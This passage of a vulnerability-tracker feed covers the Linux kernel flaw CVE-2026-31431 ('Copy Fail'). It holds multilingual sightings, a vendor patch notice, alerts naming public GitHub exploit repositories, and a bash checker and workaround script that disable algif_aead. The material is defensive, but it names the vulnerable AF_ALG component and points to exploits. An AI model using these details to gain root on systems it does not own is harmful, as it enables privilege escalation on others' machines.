betrifft.\nIch habe mal auf meknem Linuxrechner nach meiner Kernel Baureihe nachgeschaut (im Changelog) und da ist noch kein Fix dabei. \n#copyfail", "creation_timestamp": "2026-05-05T10:53:40.759470Z"}, {"uuid": "8b806e28-a77e-4fe6-b3ec-018146a8bdaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkcchk2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:01.730042Z"}, {"uuid": "88b1fdcb-921c-47dd-88d8-e4c2ecc5ec19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkcgek2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:04.184085Z"}, {"uuid": "0483070e-3923-4215-9d42-2c032f23eaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkchds2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:11.182473Z"}, {"uuid": "1e44f5ba-a74c-4c44-9fcd-ec704e31afb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkrgtk2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:11.897142Z"}, {"uuid": "acf74f11-8c58-41d3-8caf-cfb27bee6f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkrjrc2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:22.053068Z"}, {"uuid": "355766e2-ae56-48aa-ad57-090b9206bf92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/habr_com_news/46251", "content": "\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u041d\u0422\u0426 \u0418\u0422 \u00ab\u0420\u043e\u0441\u0430\u00bb \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 Copy Fail. \u041a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 \u0425\u0430\u0431\u0440\u0430 \u0432 \u043f\u0440\u0435\u0441\u0441\u2011\u0441\u043b\u0443\u0436\u0431\u0435 \u041d\u0422\u0426 \u0418\u0422 \u00ab\u0420\u043e\u0441\u0430\u00bb, \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0435 ROSA Bugzilla \u043f\u043e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u0441\u0442\u0430\u0442\u0443\u0441 RESOLVED FIXED. \u0422\u0430\u043c \u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u044f\u0434\u0435\u0440 \u0434\u043b\u044f ROSA 13 \u0438 ROSA 2021.1 (ROSA 12), \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044f\u0434\u0440\u0430 6.12, 6.6, 5.15 \u0438 5.10. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f\u0434\u0435\u0440 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0434\u043b\u044f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0445 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440 x86_64 (Intel, AMD), aarch64 (Baikal\u2011M, Baikal\u2011L) \u0438 loongarch64 (Loongson, \u00ab\u0418\u0440\u0442\u044b\u0448\u00bb).\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u041e\u0421", "creation_timestamp": "2026-05-05T11:37:13.000000Z"}, {"uuid": "32382e0d-265e-4a75-a170-51da488cef3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82904", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Industri4l-H3ll-Xpl0it3rs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 10:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 Exploit | by infrar3d\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T11:00:04.000000Z"}, {"uuid": "279b3b04-b993-4724-9a87-ad83d8bc5f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82888", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-Fail-CVE-2026-31431-Kubernetes-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Percivalll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 44  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 14\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 09:55:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T10:00:05.000000Z"}, {"uuid": "ee6bbb38-21f9-4b95-9eff-64a999052ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/khoipro/fbcbfa478c3fd58b001a2dc3d620bcdf", "content": "#!/bin/bash\n# CVE-2026-31431 (\"Copy Fail\") \u2014 pure-bash static vulnerability checker\n#\n# Exit codes:\n#   0 = NOT VULNERABLE (patched kernel or preconditions not met)\n#   1 = INCONCLUSIVE\n#   2 = LIKELY VULNERABLE\n#   3 = MITIGATED (workaround applied, kernel not yet patched)\n#\n# Use only on hosts you own or are explicitly authorized to test.\n\nKERNEL=$(uname -r)\nARCH=$(uname -m)\nALG_NAME=\"authencesn(hmac(sha256),cbc(aes))\"\n\nRED='\\033[0;31m'; GREEN='\\033[0;32m'; YELLOW='\\033[1;33m'\nBOLD='\\033[1m';   DIM='\\033[2m';      NC='\\033[0m'\n\n# \u2500\u2500\u2500 result variables \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nR_KVER=\"\"        # patched | vulnerable | not_affected | unknown\nR_KVER_NOTE=\"\"\nR_CFG=\"\"         # m | y | not_set | unknown\nR_MOD=\"\"         # loaded | on_disk | absent\nR_AF_ALG=\"\"      # available | unavailable\nR_CRYPTO=\"\"      # present | absent\nR_WORKAROUND=\"\"  # blacklist | cmdline | both | none\nR_WA_NOTE=\"\"\nR_CONTAINER=\"\"   # no | docker | container | systemd-nspawn\n\n# \u2500\u2500\u2500 checks (silent) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ncheck_kernel_version() {\n    local rel=\"${KERNEL%%-*}\"\n    local major minor patch\n    IFS='.' read -r major minor patch <<< \"$rel\"\n    patch=\"${patch%%[^0-9]*}\"\n    major=\"${major:-0}\"; minor=\"${minor:-0}\"; patch=\"${patch:-0}\"\n\n    if [ \"$major\" -lt 4 ] || { [ \"$major\" -eq 4 ] && [ \"$minor\" -lt 14 ]; }; then\n        R_KVER=\"not_affected\"; R_KVER_NOTE=\"< 4.14, predates vulnerable code\"; return\n    fi\n\n    # \u2500\u2500 RHEL-family kernels \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    # Format: major.minor.0-BUILD.elX[_Y].ARCH  (e.g. 5.14.0-214.el9.x86_64)\n    # The upstream sublevel is always .0; the RHEL build number carries the\n    # real patch level.  We cannot compare patch against the upstream LTS\n    # table, so we check the RPM changelog for the actual CVE fix.\n    if echo \"$KERNEL\" | grep -qE \"\\.el[0-9]\"; then\n        local rhel_build el_tag kern_pkg\n        rhel_build=$(echo \"$KERNEL\" | sed 's/.*-\\([0-9]*\\)\\..*/\\1/')\n        el_tag=$(echo \"$KERNEL\" | grep -oE \"el[0-9]+(_[0-9]+)?\" | head -1)\n\n        if command -v rpm >/dev/null 2>&1; then\n            # Find the exact RPM that owns this kernel's vmlinuz\n            kern_pkg=$(rpm -qf \"/boot/vmlinuz-${KERNEL}\" 2>/dev/null | head -1)\n            # Fallback: kernel-core package by NEVRA\n            [ -z \"$kern_pkg\" ] && \\\n                kern_pkg=$(rpm -qa 2>/dev/null | grep -E \"^kernel(-core)?-\" \\\n                           | grep \"${KERNEL%.*}\" | head -1)\n            if [ -n \"$kern_pkg\" ]; then\n                if rpm -q --changelog \"$kern_pkg\" 2>/dev/null \\\n                        | grep -qF \"CVE-2026-31431\"; then\n                    R_KVER=\"patched\"\n                    R_KVER_NOTE=\"RHEL backport confirmed (${el_tag} build ${rhel_build})\"\n                else\n                    R_KVER=\"vulnerable\"\n                    R_KVER_NOTE=\"RHEL ${el_tag} build ${rhel_build} \u2014 CVE-2026-31431 not in kernel changelog\"\n                fi\n            else\n                # Package query failed (container without /boot, or non-RPM overlay)\n                R_KVER=\"unknown\"\n                R_KVER_NOTE=\"RHEL ${el_tag} \u2014 run: rpm -q --changelog kernel-core-\\$(uname -r) | grep CVE-2026-31431\"\n            fi\n        else\n            R_KVER=\"unknown\"\n            R_KVER_NOTE=\"RHEL-family ${el_tag} build ${rhel_build} \u2014 check Red Hat advisory for CVE-2026-31431\"\n        fi\n        return\n    fi\n\n    # \u2500\u2500 Upstream LTS version table \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    local patched=0 min_patch=\"\"\n    case \"$major.$minor\" in\n        5.10) min_patch=254; [ \"$patch\" -ge 254 ] && patched=1 ;;\n        5.15) min_patch=204; [ \"$patch\" -ge 204 ] && patched=1 ;;\n        6.1)  min_patch=170; [ \"$patch\" -ge 170 ] && patched=1 ;;\n        6.6)  min_patch=137; [ \"$patch\" -ge 137 ] && patched=1 ;;\n        6.12) min_patch=85;  [ \"$patch\" -ge 85  ] && patched=1 ;;\n        6.18) min_patch=22;  [ \"$patch\" -ge 22  ] && patched=1 ;;\n        6.19) min_patch=12;  [ \"$patch\" -ge 12  ] && patched=1 ;;\n    esac\n\n    if [ \"$patched\" -eq 1 ]; then\n        R_KVER=\"patched\"; R_KVER_NOTE=\"patched release\"\n    elif [ -n \"$min_patch\" ]; then\n        R_KVER=\"vulnerable\"; R_KVER_NOTE=\"vulnerable, patched >= $major.$minor.$min_patch\"\n    elif { [ \"$major\" -gt 6 ] || { [ \"$major\" -eq 6 ] && [ \"$minor\" -ge 20 ]; }; }; then\n        # Beyond the highest tracked LTS \u2014 may or may not be patched\n        R_KVER=\"unknown\"; R_KVER_NOTE=\"beyond tracked versions \u2014 check distro advisory\"\n    else\n        # 4.14\u20136.19 non-LTS or EOL: in vulnerable range, no upstream fix for this series\n        R_KVER=\"vulnerable\"\n        R_KVER_NOTE=\"non-LTS/EOL upstream series ${major}.${minor} \u2014 no upstream fix available\"\n    fi\n}\n\ncheck_kernel_config() {\n    local val\n    val=$(grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\" /boot/config-\"$KERNEL\" 2>/dev/null \\\n        || zcat /proc/config.gz 2>/dev/null | grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\")\n    case \"$val\" in\n        *=m) R_CFG=\"m\" ;;\n        *=y) R_CFG=\"y\" ;;\n        \"\")\n            # Distinguish: config file readable but key absent = not compiled\n            #              config file unreadable            = unknown state\n            if [ -r \"/boot/config-${KERNEL}\" ] || [ -r /proc/config.gz ]; then\n                R_CFG=\"not_set\"\n            else\n                R_CFG=\"unknown\"\n            fi\n            ;;\n        *)   R_CFG=\"unknown\" ;;\n    esac\n}\n\ncheck_module() {\n    if lsmod 2>/dev/null | grep -q \"^algif_aead\"; then\n        R_MOD=\"loaded\"; return\n    fi\n    local ko\n    ko=$(find /lib/modules/\"$KERNEL\" -name \"algif_aead.ko*\" 2>/dev/null | head -1)\n    [ -n \"$ko\" ] && R_MOD=\"on_disk\" || R_MOD=\"absent\"\n}\n\ncheck_af_alg() {\n    if grep -qE \"^ALG\\b\" /proc/net/protocols 2>/dev/null \\\n        || lsmod 2>/dev/null | grep -q \"^af_alg\"; then\n        R_AF_ALG=\"available\"\n    else\n        R_AF_ALG=\"unavailable\"\n    fi\n}\n\ncheck_proc_crypto() {\n    if [ ! -r /proc/crypto ]; then\n        R_CRYPTO=\"absent\"; return\n    fi\n    grep -qF \"name         : $ALG_NAME\" /proc/crypto 2>/dev/null \\\n        && R_CRYPTO=\"present\" || R_CRYPTO=\"absent\"\n}\n\ncheck_workaround() {\n    local bl=0 cl=0 gb=0\n\n    # 1. modprobe.d blacklist (=m case, effective immediately after rmmod)\n    if grep -rl \"install algif_aead /bin/false\" /etc/modprobe.d/ 2>/dev/null | grep -q .; then\n        bl=1\n    fi\n\n    # 2. initcall_blacklist active in CURRENT boot (=y case, effective now)\n    grep -q \"initcall_blacklist=algif_aead_init\" /proc/cmdline 2>/dev/null && cl=1\n\n    # 3. initcall_blacklist configured in bootloader but NOT yet active (pending reboot)\n    if [ $cl -eq 0 ]; then\n        if command -v grubby >/dev/null 2>&1 \\\n                && grubby --info=ALL 2>/dev/null \\\n                   | grep -qF \"initcall_blacklist=algif_aead_init\"; then\n            gb=1\n        elif grep -q \"initcall_blacklist=algif_aead_init\" /etc/default/grub 2>/dev/null; then\n            gb=1\n        fi\n    fi\n\n    if   [ $bl -eq 1 ] && [ $cl -eq 1 ]; then\n        R_WORKAROUND=\"both\";      R_WA_NOTE=\"blacklist + cmdline\"\n    elif [ $bl -eq 1 ]; then\n        R_WORKAROUND=\"blacklist\"; R_WA_NOTE=\"/etc/modprobe.d/\"\n    elif [ $cl -eq 1 ]; then\n        R_WORKAROUND=\"cmdline\";   R_WA_NOTE=\"initcall_blacklist active in /proc/cmdline\"\n    elif [ $gb -eq 1 ]; then\n        R_WORKAROUND=\"pending\";   R_WA_NOTE=\"configured in bootloader \u2014 reboot required to activate\"\n    else\n        R_WORKAROUND=\"none\";      R_WA_NOTE=\"\"\n    fi\n}\n\ncheck_container() {\n    if [ -f /.dockerenv ]; then\n        R_CONTAINER=\"docker\"\n    elif grep -qE \"lxc|kubepods|docker|containerd\" /proc/1/cgroup 2>/dev/null; then\n        R_CONTAINER=\"container\"\n    elif [ -n \"${container:-}\" ]; then\n        R_CONTAINER=\"systemd-nspawn\"\n    else\n        R_CONTAINER=\"no\"\n    fi\n}\n\n# \u2500\u2500\u2500 run all checks silently \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ncheck_kernel_version\ncheck_kernel_config\ncheck_module\ncheck_af_alg\ncheck_proc_crypto\ncheck_workaround\ncheck_container\n\n# \u2500\u2500\u2500 helper: colored label \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nclabel() {\n    # clabel COLOR \"TEXT\"\n    printf \"${1}%-12s${NC}\" \"$2\"\n}\n\nok()   { clabel \"$GREEN\"  \"$1\"; }\nbad()  { clabel \"$RED\"    \"$1\"; }\nmeh()  { clabel \"$YELLOW\" \"$1\"; }\ndim()  { printf \"${DIM}%s${NC}\" \"$1\"; }\n\n# \u2500\u2500\u2500 status table \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nW=54\nDIV=$(printf '\u2500%.0s' $(seq 1 $W))\n\necho -e \"${BOLD}CVE-2026-31431 \\\"Copy Fail\\\"${NC}  \u00b7  $KERNEL  \u00b7  $ARCH\"\necho \"$DIV\"\nprintf \"  %-18s %-14s %s\\n\" \"CHECK\" \"VALUE\" \"NOTE\"\necho \"$DIV\"\n\n# 1. Kernel version\nprintf \"  %-18s \" \"Kernel\"\ncase \"$R_KVER\" in\n    patched)      ok  \"patched\"     ;;\n    not_affected) ok  \"not affected\" ;;\n    vulnerable)   bad \"vulnerable\"  ;;\n    *)            meh \"unknown\"     ;;\nesac\nprintf \"  %s\\n\" \"$(dim \"$R_KVER_NOTE\")\"\n\n# 2. Kernel config\nprintf \"  %-18s \" \"Config\"\ncase \"$R_CFG\" in\n    not_set) ok  \"not set\"  ;;\n    m)       meh \"=m\"       ;;\n    y)       bad \"=y\"       ;;\n    *)       meh \"unknown\"  ;;\nesac\ncase \"$R_CFG\" in\n    m)       printf \"  %s\\n\" \"$(dim \"loadable module\")\" ;;\n    y)       printf \"  %s\\n\" \"$(dim \"built-in, rmmod N/A\")\" ;;\n    not_set) printf \"  %s\\n\" \"$(dim \"not compiled\")\" ;;\n    unknown) printf \"  %s\\n\" \"$(dim \"config file unreadable\")\" ;;\n    *)       printf \"\\n\" ;;\nesac\n\n# 3. Module\nprintf \"  %-18s \" \"algif_aead\"\ncase \"$R_MOD\" in\n    loaded)   bad \"loaded\"    ;;\n    on_disk)  meh \"not loaded\" ;;\n    absent)   ok  \"absent\"    ;;\nesac\ncase \"$R_MOD\" in\n    on_disk) printf \"  %s\\n\" \"$(dim \"module file on disk\")\" ;;\n    *)       printf \"\\n\" ;;\nesac\n\n# 4. AF_ALG\nprintf \"  %-18s \" \"AF_ALG socket\"\ncase \"$R_AF_ALG\" in\n    available)   meh \"available\"   ;;\n    unavailable) ok  \"unavailable\" ;;\nesac\nprintf \"\\n\"\n\n# 5. authencesn\nprintf \"  %-18s \" \"authencesn\"\ncase \"$R_CRYPTO\" in\n    present) bad \"instantiated\" ;;\n    absent)  ok  \"absent\"       ;;\nesac\nprintf \"  %s\\n\" \"$(dim \"/proc/crypto\")\"\n\n# 6. Workaround\nprintf \"  %-18s \" \"Workaround\"\ncase \"$R_WORKAROUND\" in\n    both|blacklist|cmdline) ok  \"${R_WORKAROUND}\" ;;\n    pending)                meh \"pending\"          ;;\n    none)                   bad \"none\"             ;;\nesac\n[ -n \"$R_WA_NOTE\" ] && printf \"  %s\\n\" \"$(dim \"$R_WA_NOTE\")\" || printf \"\\n\"\n\n# 7. Container (only shown when detected \u2014 skipping host means checks may mislead)\nif [ \"$R_CONTAINER\" != \"no\" ]; then\n    printf \"  %-18s \" \"Environment\"\n    meh \"$R_CONTAINER\"\n    printf \"  %s\\n\" \"$(dim \"running inside container \u2014 apply workaround on HOST\")\"\nfi\n\necho \"$DIV\"\n\n# \u2500\u2500\u2500 verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nverdict() {\n    if [ \"$R_KVER\" = \"not_affected\" ]; then\n        printf \"  ${GREEN}${BOLD}NOT VULNERABLE${NC}   kernel predates vulnerable code (< 4.14)\\n\"\n        return 0\n    fi\n    if [ \"$R_KVER\" = \"patched\" ]; then\n        printf \"  ${GREEN}${BOLD}NOT VULNERABLE${NC}   running a patched kernel\\n\"\n        return 0\n    fi\n    if [ \"$R_CFG\" = \"not_set\" ] && [ \"$R_MOD\" = \"absent\" ]; then\n        printf \"  ${GREEN}${BOLD}NOT VULNERABLE${NC}   algif_aead not compiled into this kernel\\n\"\n        return 0\n    fi\n    if [ \"$R_WORKAROUND\" = \"pending\" ] && [ \"$R_MOD\" != \"loaded\" ]; then\n        printf \"  ${YELLOW}${BOLD}MITIGATED${NC}        workaround configured \u2014 ${RED}REBOOT REQUIRED${NC} to activate\\n\"\n        return 3\n    fi\n    if [ \"$R_WORKAROUND\" != \"none\" ] && [ \"$R_WORKAROUND\" != \"pending\" ] && [ \"$R_MOD\" != \"loaded\" ]; then\n        printf \"  ${YELLOW}${BOLD}MITIGATED${NC}        workaround active \u2014 upgrade kernel to apply permanent fix\\n\"\n        return 3\n    fi\n    if [ \"$R_AF_ALG\" = \"available\" ] && [ \"$R_CRYPTO\" = \"present\" ] && [ \"$R_MOD\" = \"loaded\" ]; then\n        printf \"  ${RED}${BOLD}LIKELY VULNERABLE${NC}  all preconditions met \u2014 apply workaround or upgrade kernel\\n\"\n        return 2\n    fi\n    # Module on disk (=m) or built-in (=y) with no workaround:\n    # any unprivileged user can trigger auto-load via AF_ALG socket \u2014 treat as exploitable\n    if [ \"$R_WORKAROUND\" = \"none\" ] && { [ \"$R_MOD\" = \"on_disk\" ] || [ \"$R_CFG\" = \"y\" ]; }; then\n        printf \"  ${RED}${BOLD}LIKELY VULNERABLE${NC}  module loadable/built-in, no workaround \u2014 apply workaround or upgrade kernel\\n\"\n        return 2\n    fi\n    printf \"  ${YELLOW}${BOLD}INCONCLUSIVE${NC}     not all preconditions confirmed \u2014 dynamic test recommended\\n\"\n    return 1\n}\n\nverdict\nEXIT_CODE=$?\necho \"$DIV\"\nexit $EXIT_CODE\n\n\n#!/bin/bash\n# Workaround for CVE-2026-31431 (\"Copy Fail\")\n# Disables algif_aead to prevent page-cache corruption via AF_ALG splice.\n# Supports: Debian/Ubuntu, RHEL/CentOS/Fedora, Arch, SUSE, and derivatives.\nset -e\n\n# ---------------------------------------------------------------------------\n# Pre-flight: must run as root\n# ---------------------------------------------------------------------------\nif [ \"$EUID\" -ne 0 ]; then\n    if command -v sudo >/dev/null 2>&1; then\n        exec sudo \"$0\" \"$@\"\n    else\n        echo \"[-] This script must be run as root.\" >&2\n        exit 1\n    fi\nfi\n\n# ---------------------------------------------------------------------------\n# Container detection \u2014 modprobe blacklist written here affects only THIS\n# container's namespace; it does NOT protect the host kernel.  The built-in\n# (=y) GRUB path is also ineffective because /etc/default/grub inside the\n# container is not the host's bootloader config.\n# ---------------------------------------------------------------------------\nIS_CONTAINER=0\nif [ -f /.dockerenv ] \\\n    || grep -qE \"lxc|kubepods|docker|containerd\" /proc/1/cgroup 2>/dev/null \\\n    || [ -n \"${container:-}\" ]; then\n    IS_CONTAINER=1\n    echo \"[!] Container environment detected.\"\n    echo \"    Workaround applied here affects only this container's namespace.\"\n    echo \"    Apply this script on the HOST system to protect the host kernel.\"\n    echo \"\"\nfi\n\n# ---------------------------------------------------------------------------\n# Detect distro (for logging only \u2014 tool detection drives behaviour)\n# ---------------------------------------------------------------------------\nDISTRO=\"unknown\"\nif [ -f /etc/os-release ]; then\n    DISTRO=$(. /etc/os-release && echo \"${NAME:-unknown}\")\nfi\n\n# ---------------------------------------------------------------------------\n# Detect initramfs rebuild tool\n# ---------------------------------------------------------------------------\nif command -v dracut >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"dracut -f\"\nelif command -v update-initramfs >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"update-initramfs -u\"\nelif command -v mkinitcpio >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"mkinitcpio -P\"\nelif command -v mkinitfs >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"mkinitfs\"           # Alpine Linux\nelse\n    